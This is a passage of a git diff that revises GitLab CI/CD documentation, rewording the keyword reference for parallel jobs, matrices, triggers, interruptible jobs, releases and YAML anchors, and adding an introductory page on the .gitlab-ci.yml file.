timeout. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. -Use `parallel` to configure how many instances of a job to run in -parallel. This value can be from 2 to 50. +Use `parallel` to configure how many instances of a job to run in parallel. +The value can be from 2 to 50. -This creates N instances of the same job that run in parallel. They are named -sequentially from `job_name 1/N` to `job_name N/N`. - -For every job, `CI_NODE_INDEX` and `CI_NODE_TOTAL` [environment variables](../variables/README.md#predefined-environment-variables) are set. - -Marking a job to be run in parallel requires adding `parallel` to your configuration -file. For example: +The `parallel` keyword creates N instances of the same job that run in parallel. +They are named sequentially from `job_name 1/N` to `job_name N/N`: ```yaml test: @@ -3495,10 +3503,12 @@ test: parallel: 5 ``` -Parallelize tests suites across parallel jobs. -Different languages have different tools to facilitate this. +Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` +[environment variable](../variables/README.md#predefined-environment-variables) set. -A simple example using [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) and RSpec to run some Ruby tests: +Different languages and test suites have different methods to enable parallelization. +For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) +and RSpec to run Ruby tests in parallel: ```ruby # Gemfile @@ -3516,8 +3526,8 @@ test: - bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL ``` -CAUTION: **Caution:** -Please be aware that semaphore_test_boosters reports usages statistics to the author. +WARNING: +Test Boosters reports usage statistics to the author. You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec job split into three separate jobs. @@ -3529,6 +3539,9 @@ job split into three separate jobs. Use `matrix:` to configure different variables for jobs that are running in parallel. There can be from 2 to 50 jobs. +Jobs can only run in parallel if there are multiple runners, or a single runner is +[configured to run multiple jobs concurrently](#using-your-own-runners). + [In GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) and later, you can have one-dimensional matrices with a single job. @@ -3552,7 +3565,8 @@ deploystacks: STACK: [data, processing] ``` -This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`: +This example generates 10 parallel `deploystacks` jobs, each with different values +for `PROVIDER` and `STACK`: ```plaintext deploystacks: [aws, monitoring] @@ -3567,7 +3581,7 @@ deploystacks: [vultr, data] deploystacks: [vultr, processing] ``` -Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4. +The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). ### `trigger` @@ -3593,13 +3607,11 @@ hover over the downstream pipeline job. In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. -It is deployed behind the `:ci_manual_bridges` [feature flag](../../user/feature_flags.md), which is **enabled by default**. -[GitLab administrators with access to the Rails console](../../administration/feature_flags.md) -can opt to disable it. +You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086). -#### Simple `trigger` syntax for multi-project pipelines +#### Basic `trigger` syntax for multi-project pipelines -The simplest way to configure a downstream trigger is to use `trigger` keyword +You can configure a downstream trigger by using the `trigger` keyword with a full path to a downstream project: ```yaml @@ -3746,20 +3758,20 @@ The trigger token is different than the [`trigger`](#trigger) keyword. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3. -`interruptible` is used to indicate that a job should be canceled if made redundant by a newer pipeline run. Defaults to `false`. +`interruptible` is used to indicate that a running job should be canceled if made redundant by a newer pipeline run. +Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible +and safe to be cancelled. This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-pending-pipelines) is enabled. -When enabled, a pipeline on the same branch is canceled when: +When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true: -- It's made redundant by a newer pipeline run. -- Either all jobs are set as interruptible, or any uninterruptible jobs haven't started. +- All jobs in the pipeline are set as interruptible. +- Any uninterruptible jobs have not started yet. Set jobs as interruptible that can be safely canceled once started (for instance, a build job). -Pending jobs are always considered interruptible. - -Here is a simple example: +For example: ```yaml stages: @@ -3790,7 +3802,7 @@ In the example above, a new pipeline run causes an existing running pipeline to - Canceled, if only `step-1` is running or pending. - Not canceled, once `step-2` starts running. -When an uninterruptible job is running, the pipeline can never be canceled, regardless of the final job's state. +When an uninterruptible job is running, the pipeline cannot be canceled, regardless of the final job's state. ### `resource_group` @@ -3809,7 +3821,7 @@ If multiple jobs belonging to the same resource group are enqueued simultaneousl only one of the jobs is picked by the runner. The other jobs wait until the `resource_group` is free. -Here is a simple example: +For example: ```yaml deploy-to-production: @@ -3820,8 +3832,8 @@ deploy-to-production: In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result, you can ensure that concurrent deployments never happen to the production environment. -There can be multiple `resource_group`s defined per environment. A good use case for this -is when deploying to physical devices. You may have multiple physical devices that +You can define multiple resource groups per environment. For example, +when deploying to physical devices, you may have multiple physical devices. Each device can be deployed to, but there can be only one deployment per device at any given time. The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces. @@ -3857,8 +3869,9 @@ image: registry.gitlab.com/gitlab-org/release-cli:latest #### Script -All jobs require a `script` tag at a minimum. A `:release` job can use the output of a -`:script` tag, but if this is not necessary, a placeholder script can be used, for example: +All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` +job can use the output from script commands, but a placeholder script can be used if +the script is not needed: ```yaml script: @@ -3972,7 +3985,7 @@ tags. These options cannot be used together, so choose one: - To create a release automatically when commits are pushed or merged to the default branch, using a new Git tag that is defined with variables: - NOTE: **Note:** + NOTE: Environment variables set in `before_script` or `script` are not available for expanding in the same job. Read more about [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). @@ -4018,15 +4031,16 @@ tags. These options cannot be used together, so choose one: #### Release assets as Generic packages You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets. -For a complete example of how to do this, see the [example in the repository](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/). +For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) +project. -#### `releaser-cli` command line +#### `release-cli` command line -The entries under the `:release` node are transformed into a `bash` command line and sent +The entries under the `release` node are transformed into a `bash` command line and sent to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli). You can also call the `release-cli` directly from a `script` entry. -The YAML described above would be translated into a CLI command like this: +For example, using the YAML described above: ```shell release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" @@ -4090,7 +4104,7 @@ requirements below must be met: - Any static content must be placed under a `public/` directory. - `artifacts` with a path to the `public/` directory must be defined. -The example below simply moves all files from the root of the project to the +The example below moves all files from the root of the project to the `public/` directory. The `.public` workaround is so `cp` does not also copy `public/` to itself in an infinite loop: @@ -4150,7 +4164,7 @@ deploy_review_job: You can use only integers and strings for the variable's name and value. If you define a variable at the top level of the `gitlab-ci.yml` file, it is global, -meaning it applies to all jobs. If you define a variable within a job, it's available +meaning it applies to all jobs. If you define a variable in a job, it's available to that job only. If a variable of the same name is defined globally and for a specific job, the @@ -4190,8 +4204,6 @@ need to be used to merge arrays. ### Anchors -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - YAML has a feature called 'anchors' that you can use to duplicate content across your document. @@ -4200,7 +4212,7 @@ to provide templates for your jobs. When there are duplicate keys, GitLab performs a reverse deep merge based on the keys. You can't use YAML anchors across multiple files when leveraging the [`include`](#include) -feature. Anchors are only valid within the file they were defined in. Instead +feature. Anchors are only valid in the file they were defined in. Instead of using YAML anchors, you can use the [`extends` keyword](#extends). The following example uses anchors and map merging. It creates two jobs, @@ -4227,7 +4239,7 @@ test2: `&` sets up the name of the anchor (`job_definition`), `<<` means "merge the given hash into the current one", and `*` includes the named anchor -(`job_definition` again). The expanded version looks like this: +(`job_definition` again). The expanded version of the example above is: ```yaml .job_template: @@ -4253,10 +4265,9 @@ test2: - test2 project ``` -Let's see another example. This time we use anchors to define two sets -of services. This configuration creates two jobs, `test:postgres` and `test:mysql`, that -share the `script` directive defined in `.job_template`, and the `services` -directive defined in `.postgres_services` and `.mysql_services` respectively: +You can use anchors to define two sets of services. For example, `test:postgres` +and `test:mysql` share the `script` defined in `.job_template`, but use different +`services`, defined in `.postgres_services` and `.mysql_services`: ```yaml .job_template: &job_definition @@ -4286,7 +4297,7 @@ test:mysql: services: *mysql_definition ``` -The expanded version looks like this: +The expanded version is: ```yaml .job_template: @@ -4336,27 +4347,27 @@ and [`after_script`](#after_script) to use predefined commands in multiple jobs: ```yaml .some-script: &some-script - - echo "Execute this in `before_script` sections" + - echo "Execute this script in `before_script` sections" .some-script-before: &some-script-before - - echo "Execute this in `script` sections" + - echo "Execute this script in `script` sections" .some-script-after: &some-script-after - - echo "Execute this in `after_script` sections" + - echo "Execute this script in `after_script` sections" job_name: before_script: - *some-script-before script: - *some-script - before_script: + after_script: - *some-script-after ``` #### YAML anchors for variables -[YAML anchors](#anchors) can be used with `variables`, to easily repeat assignment -of variables across multiple jobs. It can also enable more flexibility when a job +[YAML anchors](#anchors) can be used with `variables`, to repeat assignment +of variables across multiple jobs. Use can also use YAML anchors when a job requires a specific `variables` block that would otherwise override the global variables. In the example below, we override the `GIT_STRATEGY` variable without affecting @@ -4379,8 +4390,6 @@ job_no_git_strategy: ### Hide jobs -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - If you want to temporarily 'disable' a job, rather than commenting out all the lines where the job is defined: @@ -4405,11 +4414,12 @@ into templates. ## Skip Pipeline -If your commit message contains `[ci skip]` or `[skip ci]`, using any -capitalization, the commit is created but the pipeline is skipped. +To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any +capitalization, to your commit message. -Alternatively, one can pass the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd) -if using Git 2.10 or newer. +Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd). +The `ci.skip` push option does not skip merge request +pipelines. ## Processing Git pushes @@ -4426,13 +4436,13 @@ The following keywords are deprecated. ### Globally-defined `types` -DANGER: **Deprecated:** +WARNING: `types` is deprecated, and could be removed in a future release. Use [`stages`](#stages) instead. ### Job-defined `type` -DANGER: **Deprecated:** +WARNING: `type` is deprecated, and could be removed in one of the future releases. Use [`stage`](#stage) instead. diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md new file mode 100644 index 00000000000..602e02dbe6b --- /dev/null +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -0,0 +1,89 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- +<!-- markdownlint-disable MD044 --> +# The .gitlab-ci.yml file +<!-- markdownlint-enable MD044 --> + +To use GitLab CI/CD, you need: + +- Application code hosted in a Git repository. +- A file called [`.gitlab-ci.yml`](README.md) in the root of your repository, which + contains the CI/CD configuration. + +In the `.gitlab-ci.yml` file, you can define: + +- The scripts you want to run. +- Other configuration files and templates you want to include. +- Dependencies and caches. +- The commands you want to run in sequence and those you want to run in parallel. +- The location to deploy your application to. +- Whether you want to run the scripts automatically or trigger any of them manually. + +The scripts are grouped into **jobs**, and jobs run as part of a larger +**pipeline**. You can group multiple independent jobs into **stages** that run in a defined order. + +You should organize your jobs in a sequence that suits your application and is in accordance with +the tests you wish to perform. To [visualize](visualization.md) the process, imagine +the scripts you add to jobs are the same as CLI commands you run on your computer. + +When you add a `.gitlab-ci.yml` file to your +repository, GitLab detects it and an application called [GitLab Runner](https://docs.gitlab.com/runner/) +runs the scripts defined in the jobs. + +A `.gitlab-ci.yml` file might contain: + +```yaml +stages: + - build + - test + +build-code-job: + stage: build + script: + - echo "Check the ruby version, then build some Ruby project files:" + - ruby -v + - rake + +test-code-job1: + stage: test + script: + - echo "If the files are built successfully, test some files with one command:" + - rake test1 + +test-code-job2: + stage: test + script: + - echo "If the files are built successfully, test other files with a different command:" + - rake test2 +``` + +In this example, the `build-code-job` job in the `build` stage runs first. It outputs +the Ruby version the job is using, then runs `rake` to build project files. +If this job completes successfully, the two `test-code-job` jobs in the `test` stage start +in parallel and run tests on the files. + +The full pipeline in the example is composed of three jobs, grouped into two stages, +`build` and `test`. The pipeline runs every time changes are pushed to any +branch in the project. + +GitLab CI/CD not only executes the jobs but also shows you what's happening during execution, +just as you would see in your terminal: + + + +You create the strategy for your app and GitLab runs the pipeline +according to what you've defined. Your pipeline status is also +displayed by GitLab: + + + +If anything goes wrong, you can +[roll back](../environments/index.md#retrying-and-rolling-back) the changes: + + + +[View the full syntax for the `.gitlab-ci.yml` file](README.md). diff --git a/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png b/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png Binary files differdeleted file mode 100644 index e6c85bd39e4..00000000000 --- a/doc/ci/yaml/img/ci_config_visualization_hover_v13_5.png +++ /dev/null diff --git a/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png b/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png Binary files differnew file mode 100644 index 00000000000..9387fc6ccf4 --- /dev/null +++ b/doc/ci/yaml/img/ci_config_visualization_hover_v13_7.png diff --git a/doc/ci/yaml/img/ci_config_visualization_v13_5.png b/doc/ci/yaml/img/ci_config_visualization_v13_5.png Binary files differdeleted file mode 100644 index 0aee5cff7be..00000000000 --- a/doc/ci/yaml/img/ci_config_visualization_v13_5.png +++ /dev/null diff --git a/doc/ci/yaml/img/ci_config_visualization_v13_7.png b/doc/ci/yaml/img/ci_config_visualization_v13_7.png Binary files differnew file mode 100644 index 00000000000..ef2aa6fe9e9 --- /dev/null +++ b/doc/ci/yaml/img/ci_config_visualization_v13_7.png diff --git a/doc/ci/introduction/img/job_running.png b/doc/ci/yaml/img/job_running.png Binary files differindex efd138fd4f8..efd138fd4f8 100644 --- a/doc/ci/introduction/img/job_running.png +++ b/doc/ci/yaml/img/job_running.png diff --git a/doc/ci/introduction/img/pipeline_status.png b/doc/ci/yaml/img/pipeline_status.png Binary files differindex 96881f072e1..96881f072e1 100644 --- a/doc/ci/introduction/img/pipeline_status.png +++ b/doc/ci/yaml/img/pipeline_status.png diff --git a/doc/ci/introduction/img/rollback.png b/doc/ci/yaml/img/rollback.png Binary files differindex 38e0552f4f1..38e0552f4f1 100644 --- a/doc/ci/introduction/img/rollback.png +++ b/doc/ci/yaml/img/rollback.png diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index d7945617dc9..ec5934924fa 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -67,7 +67,7 @@ include: ## Re-using a `before_script` template -In the following example, the content of `.before-script-template.yml` will be +In the following example, the content of `.before-script-template.yml` is automatically fetched and evaluated along with the content of `.gitlab-ci.yml`. Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`: diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 87885c8e548..2d26d9f8922 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -19,7 +19,7 @@ You can use special syntax in [`script`](README.md#script) sections to: You can split long commands into multiline commands to improve readability with `|` (literal) and `>` (folded) [YAML multiline block scalar indicators](https://yaml-multiline.info/). -CAUTION: **Warning:** +WARNING: If multiple commands are combined into one command string, only the last command's failure or success is reported. [Failures from earlier commands are ignored due to a bug](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25394). diff --git a/doc/ci/yaml/visualization.md b/doc/ci/yaml/visualization.md index 391ff9f852a..59a92370c70 100644 --- a/doc/ci/yaml/visualization.md +++ b/doc/ci/yaml/visualization.md @@ -1,30 +1,30 @@ --- stage: Verify group: Pipeline Authoring -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Visualize your CI/CD configuration > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241722) in GitLab 13.5. +> - [Moved to **CI/CD > Editor**](https://gitlab.com/gitlab-org/gitlab/-/issues/263141) in GitLab 13.7. > - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. > - It's disabled on GitLab.com. > - It's not recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cicd-configuration-visualization). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. -To see a visualization of your `gitlab-ci.yml` configuration, navigate to any CI/CD -configuration file and click on the `Visualization` tab. The visualization shows -all stages and jobs. [`needs`](README.md#needs) relationships are displayed as lines -connecting jobs together, showing the hierarchy of execution: +To see a visualization of your `gitlab-ci.yml` configuration, navigate to **CI/CD > Editor** +and select the `Visualization` tab. The visualization shows all stages and jobs. +[`needs`](README.md#needs) relationships are displayed as lines connecting jobs together, showing the hierarchy of execution: - + Hovering on a job highlights its `needs` relationships: - + If the configuration does not have any `needs` relationships, then no lines are drawn because each job depends only on the previous stage being completed successfully. @@ -42,11 +42,11 @@ can enable it. To enable it: ```ruby -Feature.enable(:gitlab_ci_yml_preview) +Feature.enable(:ci_config_visualization_tab) ``` To disable it: ```ruby -Feature.disable(:gitlab_ci_yml_preview) +Feature.disable(:ci_config_visualization_tab) ``` |
